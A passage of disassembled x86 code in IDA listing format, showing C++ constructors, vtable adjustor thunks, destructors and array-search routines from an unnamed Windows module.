; sub_69B65A4F+70j ...
lea ecx, [ebp+var_18]
call sub_69B466CC
mov al, bl
jmp short loc_69B65B2E
; ---------------------------------------------------------------------------
loc_69B65B24: ; CODE XREF: sub_69B65A4F+4Bj
lea ecx, [ebp+var_18]
call sub_69B466CC
xor al, al
loc_69B65B2E: ; CODE XREF: sub_69B65A4F+D3j
pop edi
pop ebx
loc_69B65B30: ; CODE XREF: sub_69B65A4F+26j
pop esi
leave
retn 0Ch
sub_69B65A4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65B35 proc near ; DATA XREF: .text:69B12E9Co
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi+14h]
mov [ebp+var_4], eax
lea eax, [esi+38h]
push edi
mov edi, [eax]
test edi, edi
mov [ebp+var_8], eax
jz short loc_69B65B82
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+90h]
push [ebp+var_4]
mov ebx, eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+8Ch]
lea ecx, [esi+10h]
mov eax, [ecx]
push edi
call dword ptr [eax+8Ch]
push 0
push [ebp+var_8]
call sub_69B17320
jmp short loc_69B65B85
; ---------------------------------------------------------------------------
loc_69B65B82: ; CODE XREF: sub_69B65B35+1Aj
mov ebx, [ebp+arg_4]
loc_69B65B85: ; CODE XREF: sub_69B65B35+4Bj
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B6CAED
test edi, edi
jz short loc_69B65BB9
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+8Ch]
push [ebp+var_4]
lea ecx, [esi+10h]
mov eax, [ecx]
call dword ptr [eax+8Ch]
push edi
push [ebp+var_8]
call sub_69B17320
loc_69B65BB9: ; CODE XREF: sub_69B65B35+5Fj
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B65B35 endp
; =============== S U B R O U T I N E =======================================
sub_69B65BC0 proc near ; CODE XREF: sub_69B65D3D+Fj
; sub_69B664B3+18j ...
push esi
mov esi, ecx
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+20h]
test byte ptr [eax], 1
jz short loc_69B65BDD
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B65BDD: ; CODE XREF: sub_69B65BC0+12j
lea eax, [esi+1Ch]
test byte ptr [eax], 1
jz short loc_69B65BEE
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B65BEE: ; CODE XREF: sub_69B65BC0+23j
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
neg ecx
lea eax, [esi+10h]
sbb ecx, ecx
and ecx, eax
call sub_69B18700
mov ecx, esi
pop esi
jmp sub_69B653F7
sub_69B65BC0 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C0F proc near ; CODE XREF: sub_69B65D89+7p
; sub_69B6679F+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
mov dword ptr [esi], offset off_69B12D18
mov dword ptr [esi+8], offset off_69B12CB8
mov dword ptr [esi+10h], offset off_69B12C20
and dword ptr [esi+38h], 0
mov eax, esi
pop esi
retn 4
sub_69B65C0F endp
; =============== S U B R O U T I N E =======================================
sub_69B65C39 proc near ; DATA XREF: .text:69B12CA4o
; .text:69B12DECo ...
mov eax, [ecx+20h]
shr eax, 6
and eax, 1
retn
sub_69B65C39 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C43 proc near ; DATA XREF: .text:69B12CF4o
; .text:69B12E3Co ...
mov eax, [ecx+2Ch]
retn
sub_69B65C43 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C47 proc near ; DATA XREF: .text:off_69B12BC0o
; .text:off_69B12CB8o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 8
jmp sub_69B2D67E
sub_69B65C47 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C51 proc near ; DATA XREF: .text:69B12BC4o
; .text:69B12CBCo ...
arg_0 = dword ptr 4
sub [esp+arg_0], 8
jmp sub_69B17349
sub_69B65C51 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C5B proc near ; DATA XREF: .text:69B12BC8o
; .text:69B12CC0o ...
arg_0 = dword ptr 4
sub [esp+arg_0], 8
jmp sub_69B183AF
sub_69B65C5B endp
; ---------------------------------------------------------------------------
loc_69B65C65: ; DATA XREF: .text:off_69B12C20o
; .text:off_69B12D68o ...
sub dword ptr [esp+4], 10h
jmp sub_69B2D67E
; ---------------------------------------------------------------------------
loc_69B65C6F: ; DATA XREF: .text:69B12C24o
; .text:69B12D6Co ...
sub dword ptr [esp+4], 10h
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B65C79: ; DATA XREF: .text:69B12C28o
; .text:69B12D70o ...
sub dword ptr [esp+4], 10h
jmp sub_69B183AF
; ---------------------------------------------------------------------------
loc_69B65C83: ; DATA XREF: .text:69B12C38o
; .text:69B12D80o ...
sub ecx, 10h
jmp sub_69B18278
; ---------------------------------------------------------------------------
loc_69B65C8B: ; DATA XREF: .text:69B12CC4o
sub ecx, 8
jmp sub_69B65F7D
; =============== S U B R O U T I N E =======================================
sub_69B65C93 proc near ; DATA XREF: .text:69B12CD4o
sub ecx, 8
jmp sub_69B664FF
sub_69B65C93 endp
; =============== S U B R O U T I N E =======================================
sub_69B65C9B proc near ; DATA XREF: .text:69B12CECo
sub ecx, 8
jmp sub_69B66701
sub_69B65C9B endp
; ---------------------------------------------------------------------------
loc_69B65CA3: ; DATA XREF: .text:69B12C2Co
sub ecx, 10h
jmp sub_69B65F7D
; ---------------------------------------------------------------------------
loc_69B65CAB: ; DATA XREF: .text:69B12C3Co
sub ecx, 10h
jmp sub_69B664FF
; =============== S U B R O U T I N E =======================================
sub_69B65CB3 proc near ; DATA XREF: .text:69B12C54o
sub ecx, 10h
jmp sub_69B66701
sub_69B65CB3 endp
; =============== S U B R O U T I N E =======================================
sub_69B65CBB proc near ; DATA XREF: .text:69B12CB0o
; .text:69B12DF8o ...
mov eax, [ecx+4]
test eax, eax
jz short loc_69B65CCC
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+90h]
; ---------------------------------------------------------------------------
loc_69B65CCC: ; CODE XREF: sub_69B65CBB+5j
lea eax, [ecx-10h]
neg eax
sbb eax, eax
and eax, ecx
retn
sub_69B65CBB endp
; =============== S U B R O U T I N E =======================================
sub_69B65CD6 proc near ; DATA XREF: .text:69B12CB4o
; .text:69B12DFCo
push esi
mov esi, ecx
mov ecx, [esi+28h]
test ecx, ecx
jnz short loc_69B65CE5
mov ecx, esi
pop esi
jmp short loc_69B65D1B
; ---------------------------------------------------------------------------
loc_69B65CE5: ; CODE XREF: sub_69B65CD6+8j
mov eax, [esi+4]
test eax, eax
jz short loc_69B65D12
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+94h]
test al, al
jnz short loc_69B65D0D
mov ecx, [esi+28h]
mov eax, [ecx]
call dword ptr [eax+94h]
test al, al
jnz short loc_69B65D0D
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B65D0D: ; CODE XREF: sub_69B65CD6+22j
; sub_69B65CD6+31j
xor eax, eax
inc eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B65D12: ; CODE XREF: sub_69B65CD6+14j
mov eax, [ecx]
pop esi
jmp dword ptr [eax+94h]
; ---------------------------------------------------------------------------
loc_69B65D1B: ; CODE XREF: sub_69B65CD6+Dj
; sub_69B689E6+4j
; DATA XREF: ...
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_69B65D2A
mov eax, [ecx]
jmp dword ptr [eax+94h]
; ---------------------------------------------------------------------------
loc_69B65D2A: ; CODE XREF: sub_69B65CD6+4Aj
xor al, al
retn
sub_69B65CD6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B65D2D proc near ; DATA XREF: .text:69B12CACo
; .text:69B12DF4o ...
arg_0 = dword ptr 4
push [esp+arg_0]
add ecx, 4
push ecx
call sub_69B17320
retn 4
sub_69B65D2D endp
; =============== S U B R O U T I N E =======================================
sub_69B65D3D proc near ; CODE XREF: sub_69B65F7D+3p
; sub_69B65FB3+17j
push esi
mov esi, ecx
lea eax, [esi+38h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B65D3D endp
; =============== S U B R O U T I N E =======================================
sub_69B65D51 proc near ; CODE XREF: sub_69B65D89+27p
; sub_69B65E27+32p
xor eax, eax
push esi
mov esi, ecx
mov [esi], eax
mov [esi+4], eax
mov [esi+0Ch], eax
call sub_69B659EB
mov eax, esi
pop esi
retn
sub_69B65D51 endp
; =============== S U B R O U T I N E =======================================
sub_69B65D67 proc near ; CODE XREF: sub_69B65FB3+6p
push esi
mov esi, ecx
call sub_69B65A16
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+4]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B65D67 endp
; =============== S U B R O U T I N E =======================================
sub_69B65D89 proc near ; CODE XREF: sub_69B65E0F+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B65C0F
mov dword ptr [esi], offset off_69B12E60
mov dword ptr [esi+8], offset off_69B12E00
mov dword ptr [esi+10h], offset off_69B12D68
and dword ptr [esi+40h], 0
lea ecx, [esi+44h]
call sub_69B65D51
mov eax, esi
pop esi
retn 4
sub_69B65D89 endp
; ---------------------------------------------------------------------------
loc_69B65DBB: ; DATA XREF: .text:69B12E0Co
sub ecx, 8
jmp sub_69B65F98
; =============== S U B R O U T I N E =======================================
sub_69B65DC3 proc near ; DATA XREF: .text:69B12E1Co
sub ecx, 8
jmp sub_69B658B5
sub_69B65DC3 endp
; ---------------------------------------------------------------------------
loc_69B65DCB: ; DATA XREF: .text:69B12D74o
sub ecx, 10h
jmp sub_69B65F98
; ---------------------------------------------------------------------------
loc_69B65DD3: ; DATA XREF: .text:69B12D84o
sub ecx, 10h
jmp sub_69B658B5
; =============== S U B R O U T I N E =======================================
sub_69B65DDB proc near ; DATA XREF: .text:69B12E34o
sub ecx, 8
jmp sub_69B65A39
sub_69B65DDB endp
; =============== S U B R O U T I N E =======================================
sub_69B65DE3 proc near ; DATA XREF: .text:69B12D9Co
sub ecx, 10h
jmp sub_69B65A39
sub_69B65DE3 endp
; =============== S U B R O U T I N E =======================================
sub_69B65DEB proc near ; CODE XREF: sub_69B65E27+44p
; sub_69B65F4D+1Bp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea eax, [esi+40h]
push eax
call sub_69B17320
and dword ptr [esi+58h], 0FFFFFFFDh
and dword ptr [esi+5Ch], 0
lea ecx, [esi+44h]
call sub_69B659EB
pop esi
retn 4
sub_69B65DEB endp
; =============== S U B R O U T I N E =======================================
sub_69B65E0F proc near ; DATA XREF: .text:69B658C0o
push 60h
call sub_69B17EF3
test eax, eax
jz short loc_69B65E24
push 0
mov ecx, eax
call sub_69B65D89
retn
; ---------------------------------------------------------------------------
loc_69B65E24: ; CODE XREF: sub_69B65E0F+9j
xor eax, eax
retn
sub_69B65E0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65E27 proc near ; CODE XREF: sub_69B65FCF+11j
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push esi
push [ebp+arg_10]
mov esi, ecx
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B66761
mov dword ptr [esi], offset off_69B12E60
mov dword ptr [esi+8], offset off_69B12E00
mov dword ptr [esi+10h], offset off_69B12D68
and dword ptr [esi+40h], 0
lea ecx, [esi+44h]
call sub_69B65D51
push [ebp+arg_8]
and dword ptr [esi+58h], 0FFFFFFFCh
and dword ptr [esi+5Ch], 0
mov ecx, esi
call sub_69B65DEB
mov eax, esi
pop esi
pop ebp
retn 14h
sub_69B65E27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65E77 proc near ; DATA XREF: .text:69B12DB4o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
xor ebx, ebx
test edi, edi
mov esi, ecx
jz short loc_69B65EBC
cmp edi, [ebp+arg_4]
jz short loc_69B65EBC
push edi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B66598
mov ebx, eax
mov eax, [esi+28h]
test eax, eax
jnz short loc_69B65EA5
mov eax, [esi+4]
loc_69B65EA5: ; CODE XREF: sub_69B65E77+29j
test ebx, ebx
jz short loc_69B65EBC
push edi
push eax
push [ebp+arg_0]
lea ecx, [esi-10h]
call sub_69B65A4F
test al, al
jnz short loc_69B65EBC
xor ebx, ebx
loc_69B65EBC: ; CODE XREF: sub_69B65E77+Fj
; sub_69B65E77+14j ...
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 0Ch
sub_69B65E77 endp
; =============== S U B R O U T I N E =======================================
sub_69B65EC5 proc near ; DATA XREF: .text:69B12DACo
push esi
mov esi, ecx
and dword ptr [esi+48h], 0FFFFFFFEh
and dword ptr [esi+4Ch], 0
lea ecx, [esi+34h]
call sub_69B659EB
mov ecx, esi
pop esi
jmp sub_69B66558
sub_69B65EC5 endp
; =============== S U B R O U T I N E =======================================
sub_69B65EE0 proc near ; CODE XREF: sub_69B65FEB+Dp
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+38h]
call sub_69B66657
mov ebx, eax
test ebx, ebx
jz short loc_69B65F3D
push ebp
loc_69B65EF4: ; CODE XREF: sub_69B65EE0+5Aj
push ebx
push edi
push dword ptr [esi+18h]
mov ecx, esi
call sub_69B65A4F
test al, al
jz short loc_69B65F28
mov ecx, [esi+14h]
mov eax, [ecx]
mov ebp, [edi]
push 0
call dword ptr [eax+60h]
push eax
mov ecx, edi
call dword ptr [ebp+60h]
push eax
push 0
call sub_69B6D2B6
push eax
push ebx
lea ecx, [esi+44h]
call sub_69B6D478
loc_69B65F28: ; CODE XREF: sub_69B65EE0+22j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
mov ecx, esi
call sub_69B66657
mov ebx, eax
test ebx, ebx
jnz short loc_69B65EF4
pop ebp
loc_69B65F3D: ; CODE XREF: sub_69B65EE0+11j
lea ecx, [esi+44h]
call sub_69B6D69C
or dword ptr [esi+58h], 1
pop edi
pop esi
pop ebx
retn
sub_69B65EE0 endp
; =============== S U B R O U T I N E =======================================
sub_69B65F4D proc near ; DATA XREF: .text:69B12DE4o
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
call sub_69B66717
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
push dword ptr [edi+30h]
mov esi, eax
mov ecx, esi
call sub_69B65DEB
mov eax, esi
add esi, 10h
neg eax
sbb eax, eax
pop edi
and eax, esi
pop esi
retn 4
sub_69B65F4D endp
; =============== S U B R O U T I N E =======================================
sub_69B65F7D proc near ; CODE XREF: .text:69B65C8Ej
; .text:69B65CA6j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B65D3D
test [esp+4+arg_0], 1
jz short loc_69B65F92
push esi
call sub_69B1829F
loc_69B65F92: ; CODE XREF: sub_69B65F7D+Dj
mov eax, esi
pop esi
retn 4
sub_69B65F7D endp
; =============== S U B R O U T I N E =======================================
sub_69B65F98 proc near ; CODE XREF: .text:69B65DBEj
; .text:69B65DCEj
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B65FB3
test [esp+4+arg_0], 1
jz short loc_69B65FAD
push esi
call sub_69B1829F
loc_69B65FAD: ; CODE XREF: sub_69B65F98+Dj
mov eax, esi
pop esi
retn 4
sub_69B65F98 endp
; =============== S U B R O U T I N E =======================================
sub_69B65FB3 proc near ; CODE XREF: sub_69B65F98+3p
push esi
mov esi, ecx
lea ecx, [esi+44h]
call sub_69B65D67
lea eax, [esi+40h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65D3D
sub_69B65FB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65FCF proc near ; CODE XREF: sub_69B5F3B7+94p
; sub_69B5F3B7+B7p ...
push ebp
mov ebp, esp
push 60h
call sub_69B17EF3
test eax, eax
jz short loc_69B65FE5
pop ebp
mov ecx, eax
jmp sub_69B65E27
; ---------------------------------------------------------------------------
loc_69B65FE5: ; CODE XREF: sub_69B65FCF+Cj
xor eax, eax
pop ebp
retn 14h
sub_69B65FCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B65FEB proc near ; CODE XREF: sub_69B66021+Aj
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test byte ptr [esi+58h], 1
jnz short loc_69B65FFD
call sub_69B65EE0
loc_69B65FFD: ; CODE XREF: sub_69B65FEB+Bj
mov eax, [esi+2Ch]
cmp eax, [esi+4Ch]
mov [esi+5Ch], eax
jb short loc_69B6600C
xor eax, eax
jmp short loc_69B6601E
; ---------------------------------------------------------------------------
loc_69B6600C: ; CODE XREF: sub_69B65FEB+1Bj
push 0
lea ecx, [ebp+var_4]
push ecx
push eax
lea ecx, [esi+44h]
call sub_69B6D544
mov eax, [ebp+var_4]
loc_69B6601E: ; CODE XREF: sub_69B65FEB+1Fj
pop esi
leave
retn
sub_69B65FEB endp
; =============== S U B R O U T I N E =======================================
sub_69B66021 proc near ; DATA XREF: .text:69B12EA4o
push esi
mov esi, ecx
test byte ptr [esi+58h], 2
jz short loc_69B6602D
pop esi
jmp short sub_69B65FEB
; ---------------------------------------------------------------------------
loc_69B6602D: ; CODE XREF: sub_69B66021+7j
push ebx
push edi
mov edi, [esi+38h]
test edi, edi
jnz short loc_69B6605F
mov edi, [esi+14h]
jmp short loc_69B6605F
; ---------------------------------------------------------------------------
loc_69B6603B: ; CODE XREF: sub_69B66021+49j
push ebx
push edi
push dword ptr [esi+18h]
mov ecx, esi
call sub_69B65A4F
test al, al
jnz short loc_69B6606C
test edi, edi
jz short loc_69B66058
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
jmp short loc_69B6605F
; ---------------------------------------------------------------------------
loc_69B66058: ; CODE XREF: sub_69B66021+2Cj
mov ecx, esi
call sub_69B65903
loc_69B6605F: ; CODE XREF: sub_69B66021+13j
; sub_69B66021+18j ...
mov ecx, esi
call sub_69B66657
mov ebx, eax
test ebx, ebx
jnz short loc_69B6603B
loc_69B6606C: ; CODE XREF: sub_69B66021+28j
pop edi
mov eax, ebx
pop ebx
pop esi
retn
sub_69B66021 endp
; =============== S U B R O U T I N E =======================================
sub_69B66072 proc near ; CODE XREF: sub_69B66378+3j
; .text:69B6638Bj
; DATA XREF: ...
mov eax, offset off_69B66078
retn
sub_69B66072 endp
; ---------------------------------------------------------------------------
off_69B66078 dd offset off_69B29C7C ; DATA XREF: sub_69B66072o
dd offset sub_69B664D0
; =============== S U B R O U T I N E =======================================
sub_69B66080 proc near ; DATA XREF: .text:69B12EFCo
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_69B6608C
mov eax, [ecx]
jmp dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------
loc_69B6608C: ; CODE XREF: sub_69B66080+5j
xor eax, eax
retn 0Ch
sub_69B66080 endp
; =============== S U B R O U T I N E =======================================
sub_69B66091 proc near ; DATA XREF: .text:69B12FA4o
mov ecx, [ecx+0Ch]
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
jmp dword ptr [edx+5Ch]
sub_69B66091 endp
; =============== S U B R O U T I N E =======================================
sub_69B660A0 proc near ; CODE XREF: sub_69B4EBD9+1C7p
; sub_69B4EBD9+201p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
lea eax, ds:10h[ebx*4]
push eax
mov edi, ecx
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov [esi+8], ebx
call sub_69B19118
push 0
push edi
mov dword ptr [esi], offset off_69B1EE00
push dword ptr [edi+8]
mov ecx, esi
push 0
call sub_69B2E6E3
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B660A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B660DF proc near ; CODE XREF: sub_69B66390+3j
; sub_69B66398+3j
; DATA XREF: ...
push esi
mov esi, ecx
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp sub_69B6CBC6
sub_69B660DF endp
; =============== S U B R O U T I N E =======================================
sub_69B66100 proc near ; CODE XREF: sub_69B66127+6p
; sub_69B6640A+22p
push esi
mov esi, ecx
push 0
lea eax, [esi+38h]
push eax
call sub_69B17320
push 0
lea eax, [esi+3Ch]
push eax
call sub_69B17320
and dword ptr [esi+40h], 0
and dword ptr [esi+44h], 0
and dword ptr [esi+48h], 0FFFFFFF8h
pop esi
retn
sub_69B66100 endp
; =============== S U B R O U T I N E =======================================
sub_69B66127 proc near ; DATA XREF: .text:69B12EF8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B66100
push [esp+4+arg_8]
mov ecx, esi
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B6CD21
pop esi
retn 0Ch
sub_69B66127 endp
; =============== S U B R O U T I N E =======================================
sub_69B66149 proc near ; DATA XREF: .text:69B12F10o
mov eax, [ecx+1Ch]
mov ecx, [ecx+2Ch]
push eax
call sub_69B1A954
mov eax, [eax]
retn 4
sub_69B66149 endp
; =============== S U B R O U T I N E =======================================
sub_69B6615A proc near ; CODE XREF: sub_69B663C1+28p
; sub_69B6640A+13p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
mov edi, [esi+2Ch]
loc_69B66161: ; CODE XREF: sub_69B6615A+23j
mov ecx, [esi+38h]
push edi
call sub_69B1A954
mov ecx, [esp+8+arg_0]
cmp ecx, [eax]
jz short loc_69B66187
inc edi
cmp edi, [esi+40h]
jb short loc_69B6617A
xor edi, edi
loc_69B6617A: ; CODE XREF: sub_69B6615A+1Cj
cmp edi, [esi+2Ch]
jnz short loc_69B66161
or eax, 0FFFFFFFFh
loc_69B66182: ; CODE XREF: sub_69B6615A+2Fj
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B66187: ; CODE XREF: sub_69B6615A+16j
mov eax, edi
jmp short loc_69B66182
sub_69B6615A endp
; =============== S U B R O U T I N E =======================================
sub_69B6618B proc near ; CODE XREF: sub_69B663A0+Dp
; sub_69B663C1+1Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, ecx
mov eax, [esi+48h]
and eax, 0FFFFFFFDh
push edi
or eax, 1
lea edi, [esi+38h]
cmp dword ptr [edi], 0
mov [esi+48h], eax
jnz short loc_69B661F5
mov ebp, 90h
push ebp
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov dword ptr [ebx+8], 20h
call sub_69B19118
push ebx
push edi
mov dword ptr [ebx], offset off_69B1EE00
call sub_69B17320
push ebp
call sub_69B17EF3
mov ebx, eax
mov ecx, ebx
mov dword ptr [ebx+8], 20h
call sub_69B19118
push ebx
lea eax, [esi+3Ch]
push eax
mov dword ptr [ebx], offset off_69B1EE00
call sub_69B17320
loc_69B661F5: ; CODE XREF: sub_69B6618B+1Aj
mov eax, [edi]
mov ebp, [eax+8]
jmp loc_69B662AC
; ---------------------------------------------------------------------------
loc_69B661FF: ; CODE XREF: sub_69B6618B+12Ej
mov eax, [esi+40h]
test eax, eax
jnz short loc_69B6621A
push [esp+18h+var_8]
mov ecx, [esi+14h]
push dword ptr [esi+18h]
mov eax, [ecx]
call dword ptr [eax+54h]
mov [esi+44h], eax
jmp short loc_69B6623D
; ---------------------------------------------------------------------------
loc_69B6621A: ; CODE XREF: sub_69B6618B+79j
cmp eax, 1
jnz short loc_69B6623D
push [esp+18h+var_8]
mov ecx, [esi+14h]
push dword ptr [esi+18h]
mov eax, [ecx]
call dword ptr [eax+54h]
cmp eax, [esi+44h]
jnb short loc_69B6623D
cmp dword ptr [esi+0Ch], 2
jz short loc_69B6623D
or dword ptr [esi+48h], 4
loc_69B6623D: ; CODE XREF: sub_69B6618B+8Dj
; sub_69B6618B+92j ...
push dword ptr [esi+40h]
mov ecx, [esi+3Ch]
mov ebx, [esi+14h]
call sub_69B1A954
mov [esp+18h+var_4], eax
mov eax, [ebx]
push 0
mov ecx, ebx
call dword ptr [eax+60h]
push eax
push [esp+1Ch+var_4]
call sub_69B17320
mov eax, [esi+40h]
lea ecx, [eax+1]
mov [esi+40h], ecx
mov ecx, [edi]
push eax
call sub_69B1A954
push [esp+18h+var_8]
push eax
call sub_69B17320
cmp [esi+40h], ebp
jb short loc_69B662A5
mov ecx, [edi]
add ebp, ebp
push ebp
call sub_69B660A0
push eax
push edi
call sub_69B17320
lea ebx, [esi+3Ch]
mov ecx, [ebx]
push ebp
call sub_69B660A0
push eax
push ebx
call sub_69B17320
loc_69B662A5: ; CODE XREF: sub_69B6618B+F5j
mov ecx, esi
call sub_69B65903
loc_69B662AC: ; CODE XREF: sub_69B6618B+6Fj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test eax, eax
mov [esp+18h+var_8], eax
jnz loc_69B661FF
mov edi, [edi]
push dword ptr [esi+40h]
mov ecx, edi
call sub_69B1A954
push 0
push eax
call sub_69B17320
or dword ptr [esi+48h], 3
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_69B6618B endp
; =============== S U B R O U T I N E =======================================
sub_69B662DE proc near ; DATA XREF: .text:69B12F2Co
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov edi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov esi, eax
lea eax, [edi+28h]
push eax
lea ecx, [esi+38h]
call sub_69B4D414
lea eax, [edi+2Ch]
push eax
lea ecx, [esi+3Ch]
call sub_69B4D414
mov eax, [edi+30h]
mov [esi+40h], eax
mov eax, [edi+34h]
mov [esi+44h], eax
mov eax, [esi+48h]
xor eax, [edi+38h]
and eax, 3
xor [esi+48h], eax
mov eax, [esi+48h]
mov ecx, [edi+38h]
xor ecx, eax
and ecx, 4
xor ecx, eax
pop edi
mov [esi+48h], ecx
lea eax, [esi+10h]
pop esi
retn 4
sub_69B662DE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B664E8
loc_69B6633C: ; CODE XREF: sub_69B664E8+Dj
push esi
push [esp+4+arg_4]
mov esi, ecx
push 0
push [esp+0Ch+arg_0]
call sub_69B6D314
mov dword ptr [esi], offset off_69B12FA8
mov dword ptr [esi+8], offset off_69B12F48
mov dword ptr [esi+10h], offset off_69B12EB0
and dword ptr [esi+38h], 0
and dword ptr [esi+3Ch], 0
mov eax, esi
pop esi
retn 8
; END OF FUNCTION CHUNK FOR sub_69B664E8
; =============== S U B R O U T I N E =======================================
sub_69B66370 proc near ; DATA XREF: .text:69B12F54o
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B66498
sub_69B66370 endp
; =============== S U B R O U T I N E =======================================
sub_69B66378 proc near ; DATA XREF: .text:69B12F64o
sub ecx, 8
jmp sub_69B66072
sub_69B66378 endp
; ---------------------------------------------------------------------------
loc_69B66380: ; DATA XREF: .text:69B12EBCo
sub ecx, 10h
jmp sub_69B66498
; ---------------------------------------------------------------------------
loc_69B66388: ; DATA XREF: .text:69B12ECCo
sub ecx, 10h
jmp sub_69B66072
; =============== S U B R O U T I N E =======================================
sub_69B66390 proc near ; DATA XREF: .text:69B12F7Co
sub ecx, 8
jmp sub_69B660DF
sub_69B66390 endp
; =============== S U B R O U T I N E =======================================
sub_69B66398 proc near ; DATA XREF: .text:69B12EE4o
sub ecx, 10h
jmp sub_69B660DF
sub_69B66398 endp
; =============== S U B R O U T I N E =======================================
sub_69B663A0 proc near ; DATA XREF: .text:69B12FECo
push esi
mov esi, ecx
mov eax, [esi+48h]
and eax, 3
cmp al, 3
jz short loc_69B663B2
call sub_69B6618B
loc_69B663B2: ; CODE XREF: sub_69B663A0+Bj
push dword ptr [esi+2Ch]
mov ecx, [esi+38h]
call sub_69B1A954
mov eax, [eax]
pop esi
retn
sub_69B663A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B663C1 proc near ; DATA XREF: .text:69B12F04o
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi+38h]
and eax, 3
jnz short loc_69B663D5
mov ecx, [esi+4]
mov eax, [ecx]
pop esi
jmp dword ptr [eax+54h]
; ---------------------------------------------------------------------------
loc_69B663D5: ; CODE XREF: sub_69B663C1+9j
cmp eax, 1
jnz short loc_69B663E2
lea ecx, [esi-10h]
call sub_69B6618B
loc_69B663E2: ; CODE XREF: sub_69B663C1+17j
push [esp+4+arg_4]
lea ecx, [esi-10h]
call sub_69B6615A
cmp eax, 0FFFFFFFFh
jnz short loc_69B663F7
or eax, eax
jmp short loc_69B66406
; ---------------------------------------------------------------------------
loc_69B663F7: ; CODE XREF: sub_69B663C1+30j
test byte ptr [esi+38h], 4
jz short loc_69B663FF
neg eax
